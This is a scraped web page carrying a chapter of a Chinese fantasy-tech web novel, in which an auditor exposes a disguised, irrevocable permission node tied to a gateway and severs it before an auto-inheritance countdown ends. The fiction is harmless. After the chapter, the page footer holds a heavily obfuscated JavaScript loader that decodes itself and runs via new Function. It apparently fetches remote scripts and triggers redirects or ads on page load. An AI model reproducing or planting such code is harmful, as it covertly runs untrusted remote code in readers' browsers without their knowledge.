首页
第342章 请不要把继承权限
返回
关灯 护眼:关 字号:小

第342章 请不要把继承权限解释成师承有序

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第342章请不要把继承权限解释成师承有序(第1/2页)
    控制室空调的低频嗡鸣没断过,像某种活物在墙壁里呼吸。
    赵星的目光从屏幕第三行字段上移开,落在技术员脸上。技术员的手指还悬在键盘上方,指节白得像纸,指甲盖泛着青。
    “第四个问题。”赵星说,“不是根节点归属,是继承链。”
    技术员的手指僵住了。
    “这个根节点,”赵星指了指屏幕上方那行闪着金光的“祖师·天衡正宗”字段,“谁创建的?谁继承的?谁能在它下面挂子项?”
    技术员的喉结上下滚了一下,像咽下两块石头。他敲了个命令,屏幕弹出权限树展开面板。光标悬在展开按钮上方,停了两秒——像一只脚悬在悬崖边上。
    “道友,”执事的声音从侧后方传来,比之前更沉,“祖师根节点乃宗门祖制,上溯千年,非当代人力可创——”
    “我没问祖制。”赵星打断他,“我问的是系统里这个节点。它什么时候写入数据库的?谁写的?用的是什么认证?”
    执事的脸色变了,嘴角抽了一下,像被什么东西噎住。
    技术员没动。手指悬在键盘上,指节泛青,指甲盖的边缘已经开始发白。
    “展开。”赵星说。
    技术员深吸一口气,敲下回车。
    屏幕上的权限树像一朵被强行掰开的花,一层一层炸开。根节点下方弹出一串子项——都是正常的宗门职务权限,执事、长老、护法、堂主——排列整齐,像一本翻开的宗谱。
    然后,在最后一层的底部,出现了一个灰色字段。
    字体比其他的小一号,颜色介于透明和存在之间,备注栏写着四个字:师承有序,自动代管。
    控制室的温度没变,但赵星觉得空气突然稠了。
    “这是什么?”他问。
    技术员盯着屏幕,嘴唇动了动,没发出声音。
    执事绕到屏幕侧面,眯起眼看了两秒,脸色从铁青变成困惑,又从困惑变成警惕。他转头看向赵星:“这是宗门内部权限规划,与贵使团审查无关——”
    “它是灰色的。”赵星说,“灰色意味着它不是主权限树的一部分。”
    执事张了张嘴,没接上话。
    赵星转向安全官:“调只读审计模式。”
    安全官点头,在侧屏上敲了几个命令。主屏右上角弹出一个红色标签——只读模式已激活,所有操作不可写入。
    “现在,”赵星看着技术员,“展开这个灰色子项的继承链。”
    技术员的额头上开始冒汗。他敲了个命令,屏幕弹出一行警告:该节点继承链包含非标准字段,展开可能触发权限冲突。
    “继续。”赵星说。
    技术员咬了一下嘴唇,敲下确认。
    灰色子项的继承链像一条被压扁的蛇,从屏幕底部缓缓爬出来。父节点是“祖师·天衡正宗”,这没问题。但再往上一级——继承来源——显示的字段不是“宗门传承”,也不是“祖师授权”,而是一串联邦兼容层路径代码。
    /usr/fed/compat/gateway/temp_trust/
    赵星盯着那行代码看了三秒。
    “这是联邦的路径。”
    安全官的声音从侧后方传来,像一根冰锥扎进空气里。
    执事的脸色彻底变了。他往前迈了一步,手指指着屏幕:“荒谬!祖师根节点怎么可能使用联邦路径?这一定是贵使团系统的问题——”
    “只读模式。”赵星说,“你看右上角。只读模式下,所有数据都是原始日志,无法篡改。”
    执事的手指僵在半空中。
    旁听的弟子群里,有人小声嘀咕了一句:“祖师也会用联邦系统吗?”
    另一个弟子接话:“祖师飞升三千年了,那时候哪有联邦?”
    “那这路径怎么来的?”
    “也许……祖师托梦让人写的?”
    赵星没忍住,嘴角往上翘了一下。他很快压下去,转向技术员:“灰色子项的创建时间戳。”
    技术员敲了个命令,屏幕弹出时间戳:
    创建时间:联邦标准时2147/06/1823:47:12
    赵星看了一眼自己的手表。使团抵达天衡宗使馆区的时间是2147/06/1822:15。
    也就是说,这个“祖师根节点”的灰色子项,是在使团抵达后一个半小时创建的。
    “有意思。”赵星说,“祖师飞升三千年,偏偏在联邦使团到的当天晚上,给自己加了个自动代管权限。”
    控制室里安静了三秒。
    执事的脸色从铁青变成涨红,又从涨红变成惨白。他张了张嘴,想说点什么,但喉咙里只发出一声干涩的气音。
    技术员的手指开始发抖。
    “继续。”赵星说,“灰色子项的具体权限范围。”
    技术员敲了个命令,屏幕弹出一串权限列表:
    -读取:天衡宗使馆区所有日志(实时)
    -写入:兼容层配置(仅限临时网关段)
    -继承:可申请继承上级节点所有权限(需手动确认)
    -转移:可将自身权限转移至其他兼容节点
    赵星的目光停在第三行上。
    “继承上级节点所有权限,”他念了一遍,“也就是说,这个灰色子项可以申请继承‘祖师·天衡正宗’的全部权限。”
    执事的额头上开始冒汗。
    “而且,”赵星继续说,“它不需要自动继承,只需要申请,上级手动确认就行。”
    他转过头,看着执事:“请问,祖师现在能手动确认吗?”
    执事的嘴唇动了动,没发出声音。
    “还是说,”赵星的声音平淡得像在念菜单,“这个‘师承有序,自动代管’的备注,本身就是一种手动确认的替代方案?”
    控制室里的空气凝固了。
    旁听的弟子群里,有人小声说:“这不就是……祖师不在的时候,自动代签吗?”
    另一个弟子接话:“那谁有这个灰色子项的实际控制权?”
    赵星没回答这个问题。他转向技术员:“灰色子项的当前持有者。”
    技术员的手指在键盘上方悬了两秒,然后敲下命令。
    屏幕弹出持有者字段:
    当前持有者:继承自上代持印人(字段锁定,不可查看原始创建者)
    赵星盯着那行字看了两秒。
    “锁定字段?”他说,“谁锁的?”
    技术员敲了个命令,屏幕弹出锁定记录:
    锁定时间:2147/06/1823:47:15
    锁定方式:显示层替换
    替换说明:将原始创建者字段替换为“继承自上代持印人”
    锁定发起者:本地化术语包(兼容层默认配置)
    “显示层替换。”赵星重复了一遍这个词,“也就是说,这行字不是原始审计记录,而是被人用本地化术语包覆盖上去的。”
    执事的脸色彻底白了。
    安全官的声音从侧后方传来:“显示层替换意味着原始创建者信息还在,只是被藏起来了。”
    “能恢复吗?”赵星问。
    技术员的手指在键盘上方悬了三秒,然后敲下一串命令。屏幕弹出一行提示:
    原始创建者字段已加密,需持印人私钥解密。
    “持印人?”赵星说,“又是这个词。”
    他转向执事:“天衡宗的持印人是谁?”
    执事的喉结上下滚了一下,像咽下一块石头。他的声音干涩得像砂纸:“持印人……是宗门传承中的隐秘职位,不对外公开。”
    “不对外公开。”赵星重复了一遍,“但你们的系统里,这个‘持印人’能创建灰色权限子项,能锁定审计字段,还能用联邦兼容层路径。”
    他顿了顿:“这个持印人,是不是也在使馆区?”
    执事没回答。
    但他的手,下意识地攥紧了袖子。
    赵星看到了那个动作。
    他转向安全官:“比对字段哈希。确认这行‘继承自上代持印人’是不是后写入的显示层。”
    安全官点头,在侧屏上敲了几个命令。主屏弹出一个哈希比对结果:
    原始字段哈希:0x7F3A9C2B
    显示层字段哈希:0x4E8D1F6A
    比对结果:不一致(显示层为后写入替换)
    “确认了。”安全官说,“这不是原始审计记录。”
    控制室里响起一阵低低的吸气声。
    旁听的弟子群里,有人小声说:“所以……这个‘师承有序’是假的?”
    “不是假的,”另一个弟子纠正,“是被人改了显示。”
    “那跟假的有什么区别?”
    赵星没参与讨论。他盯着屏幕上的哈希比对结果,脑子里飞速转着。
    显示层替换——这意味着有人同时懂天衡宗的话术和联邦系统的接口。这个人知道“师承有序”这种宗门礼制词汇能通过审查,也知道联邦兼容层路径怎么写。
    这个人,或者说这群人,就在使馆区里。
    “技术员。”赵星说,“灰色子项有没有撤销路径?”
    技术员敲了个命令,屏幕弹出撤销路径查询结果:
    撤销路径:未定义
    撤销条件:需持印人手动创建撤销权限
    当前状态:不可撤销
    赵星看着那行字,沉默了两秒。
    “不可撤销。”他说,“也就是说,这个灰色子项一旦创建,除非持印人主动创建撤销权限,否则永远存在。”
    执事的嘴角抽了一下,像想说什么,但没说出来。
    “有意思。”赵星说,“一个不可撤销的灰色权限,创建于使团抵达当晚,备注写着‘师承有序,自动代管’,原始创建者被显示层替换,真正创建者被加密隐藏。”
    他转过身,看着执事:“贵宗门的‘祖师保佑’,还挺与时俱进的。”
    执事的脸色从惨白变成铁青,又从铁青变成暗红。他的嘴唇动了动,最终只挤出一句话:“这是宗门内部事务,与贵使团无关。”
    “无关?”赵星指了指屏幕上的联邦兼容层路径,“这个灰色子项使用的路径是联邦的。它创建的时间是使团抵达当晚。它申请继承的权限里,包含读取使馆区所有日志。”
    (本章未完,请点击下一页继续阅读)第342章请不要把继承权限解释成师承有序(第2/2页)
    他顿了顿:“你说这跟联邦无关?”
    执事的喉结上下滚了一下,没接上话。
    赵星转向技术员:“能不能从旁路备份读取原始审计片段?”
    技术员愣了一下:“旁路备份?”
    “就是那种只记录异常脉冲、平时没人看的备份库。”赵星说,“你说过,那是杂项库。”
    技术员的脸色变了:“你怎么知道——”
    “很多灾难都住在杂项里。”赵星打断他,“打开它。”
    技术员犹豫了两秒,然后敲下一串命令。屏幕切换到另一个界面——界面更粗糙,字体更小,像某种被遗忘的后门系统。
    “旁路备份已接入。”技术员说,“但里面的数据格式不标准,可能需要——”
    “显示。”赵星说。
    技术员深吸一口气,敲下回车。
    屏幕弹出一段原始审计片段。格式很乱,时间戳是联邦标准时,请求源字段显示的不是天衡宗内网,也不是祖师根节点,而是一串IP地址。
    安全官凑近屏幕,眯起眼看了两秒:“这是……使馆区临时兼容网关的IP。”
    赵星的心脏猛地跳了一下。
    “临时兼容网关?”他重复了一遍,“那个被当成技术便利设施、没人当回事的网关?”
    安全官点头:“就是它。”
    控制室里的空气突然变得很轻,轻得像随时会炸开。
    执事的声音从侧后方传来,带着一丝几乎掩饰不住的慌乱:“这不可能!临时兼容网关是贵使团搭建的,与天衡宗无关——”
    “所以呢?”赵星打断他,“你是想说,联邦自导自演,在自己的系统里创建一个灰色权限,伪装成天衡宗的祖师根节点,然后自己查自己?”
    执事张了张嘴,没接上话。
    赵星转向技术员:“冻结临时兼容网关的会话。”
    技术员的手指在键盘上方悬了一秒,然后敲下命令。屏幕弹出一行提示:
    正在发送冻结指令……请稍候……
    等待的那几秒钟,像被拉长了一百倍。
    控制室里没人说话。空调的低频嗡鸣变得格外清晰,像某种活物的心跳。
    然后,屏幕弹出一条新日志。
    不是冻结成功的提示。
    而是一行灰色的字,字体和那个灰色子项一模一样:
    灰色子项(师承有序·自动代管)正在申请继承权限。
    申请目标:赵星(联邦使团临时审计身份)
    申请状态:待确认
    赵星盯着那行字,感觉后背的汗毛竖了起来。
    执事的声音从侧后方传来,干涩得像砂纸:“它……它在申请继承你的权限?”
    安全官的手指已经按在了紧急切断按钮上:“需要立刻拒绝——”
    “等一下。”赵星说。
    他盯着屏幕上的申请状态,脑子里飞速转着。
    这个灰色子项,在冻结指令发出前,抢先发起了权限继承申请。目标不是天衡宗的执事,不是技术员,不是任何宗门内部人员——而是他,联邦使团的临时审计官。
    这意味着什么?
    意味着这个灰色子项知道谁是真正的威胁。
    意味着它——或者说它的创建者——在实时监控这场审查。
    赵星转过头,看着执事:“贵宗门的祖师,还挺懂实时审批的。”
    执事的脸色从惨白变成了灰色。他的嘴唇动了动,最终只挤出一句话:“这不是——”
    屏幕又弹出一条提示:
    申请状态变更:待确认→自动确认(倒计时:00:03:47)
    赵星看了一眼倒计时。
    三分四十七秒。
    “有意思。”他说,“看来祖师不仅有远程授权能力,还有自动确认机制。”
    他转向技术员:“能不能在倒计时结束前,切断灰色子项与兼容网关的连接?”
    技术员的手指在键盘上方悬了两秒,然后敲下一串命令。屏幕弹出一行提示:
    切断连接需要兼容网关超级管理员权限。
    当前超级管理员:未知。
    建议操作:物理断开网关电源。
    “物理断开。”赵星重复了一遍,“谁去?”
    安全官已经转身往外走:“我去。”
    “等等。”赵星叫住他,“网关在哪个房间?”
    安全官停住脚步,转过头:“使馆区地下二层,兼容设备间。”
    赵星看了一眼屏幕上的倒计时:00:03:12。
    “来不及了。”他说,“地下二层来回至少五分钟。”
    控制室里的空气再次凝固。
    旁听的弟子群里,有人小声说:“所以……这个灰色子项,真的要继承赵道友的权限了?”
    另一个弟子接话:“那赵道友以后是不是算祖师门下?”
    “嘘——别乱说。”
    赵星没理会身后的窃窃私语。他盯着屏幕上的倒计时,脑子里飞速转着。
    00:02:58。
    “技术员。”他说,“能不能在冻结指令生效的同时,创建一个临时拒绝权限?”
    技术员愣了一下:“临时拒绝权限?”
    “就是那种,”赵星指了指屏幕上的灰色子项,“‘师承有序,自动代管’的相反版本——‘权限独立,不可继承’。”
    技术员的眼睛亮了一下,但很快又暗下去:“理论上可以,但需要——”
    “需要什么?”
    “需要兼容网关的写入权限。”
    赵星沉默了两秒。
    00:02:31。
    “那个写入权限,”他说,“是不是也在这个灰色子项的控制范围内?”
    技术员没回答。但他的表情已经说明了一切。
    赵星深吸一口气,转过头,看着执事:“道友,我现在有一个问题想请教。”
    执事的喉结上下滚了一下:“请说。”
    “贵宗门的传承体系里,”赵星说,“有没有一种办法,能让一个灰色权限,在继承另一个权限之前,被它自己创建的规则反杀?”
    执事愣了一下,然后缓缓摇头:“宗门传承,讲究师承有序,上下分明。下级权限不能反制上级权限。”
    “明白了。”赵星说,“所以这个灰色子项,在‘师承有序’的体系里,是上级。”
    他顿了顿:“但它是通过兼容网关创建的。而兼容网关,是联邦的设备。”
    他转向屏幕,看着倒计时:00:01:47。
    “所以,如果我们用联邦的规则来定义它——”赵星说,“它就不是上级权限,而是一个临时兼容会话。”
    技术员的眼睛亮了起来:“临时兼容会话……可以被主会话切断?”
    “对。”赵星说,“而主会话,是使团抵达时创建的初始审计会话。”
    他看了一眼自己的手表:“那个初始审计会话的创建时间,是22:15。比灰色子项的23:47早了将近一个半小时。”
    他转向技术员:“在联邦权限体系里,早创建的会话,是不是比晚创建的会话优先级高?”
    技术员的手指已经开始在键盘上飞舞:“是的!联邦权限体系使用时间戳优先级——早创建的会话自动获得高优先级,除非被明确覆盖。”
    “那这个灰色子项,有没有明确覆盖初始审计会话?”
    技术员敲了几个命令,屏幕弹出覆盖记录查询结果:
    覆盖记录:无
    优先级判定:初始审计会话(22:15:00)>灰色子项(23:47:12)
    00:00:52。
    “好。”赵星说,“用初始审计会话,切断灰色子项与兼容网关的连接。”
    技术员的手指在键盘上飞舞,像被电击了一样。屏幕上的命令一行一行弹出,快得让人眼花缭乱。
    00:00:31。
    屏幕弹出一行提示:
    正在使用初始审计会话(ID:AUDIT-21470618-221500)执行切断操作……
    切断目标:灰色子项(师承有序·自动代管)→兼容网关(TEMP-GW-01)
    操作状态:执行中……
    00:00:12。
    00:00:05。
    00:00:01。
    屏幕弹出最后一行提示:
    操作成功。灰色子项与兼容网关连接已切断。
    权限继承申请已终止。
    控制室里安静了三秒。
    然后,旁听的弟子群里,有人长长地呼出一口气。
    “成功了。”
    赵星盯着屏幕上的“操作成功”四个字,感觉自己的心跳终于开始恢复正常。
    但下一秒,屏幕又弹出一条新日志:
    灰色子项状态变更:连接已切断→正在搜索备用网关……
    搜索结果:发现备用网关(TEMP-GW-02)
    预计重新连接时间:00:04:12
    赵星看着那行字,沉默了两秒。
    “还有备用网关?”他说。
    技术员的脸色又白了:“使馆区……有两个临时兼容网关?”
    安全官的声音从侧后方传来,带着一丝苦涩:“使团搭建的时候,为了冗余,确实配了两个。”
    赵星深吸一口气,然后慢慢吐出来。
    “行。”他说,“那就一个一个切。”
    他转过头,看着执事:“道友,麻烦你帮我传个话给贵宗门的‘持印人’——”
    执事的喉结上下滚了一下。
    “就说,”赵星指了指屏幕上的灰色子项,“这个‘师承有序’,我今天是拆定了。”
    控制室里的空气再次凝固。
    但这一次,凝固的空气里,多了一丝几不可闻的窃笑——来自旁听弟子群的方向。
    有人小声说:“赵道友这是要清理门户啊。”
    另一个弟子接话:“他连宗门弟子都不是,清理什么门户?”
    “那就……清理师门?”
    “闭嘴。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();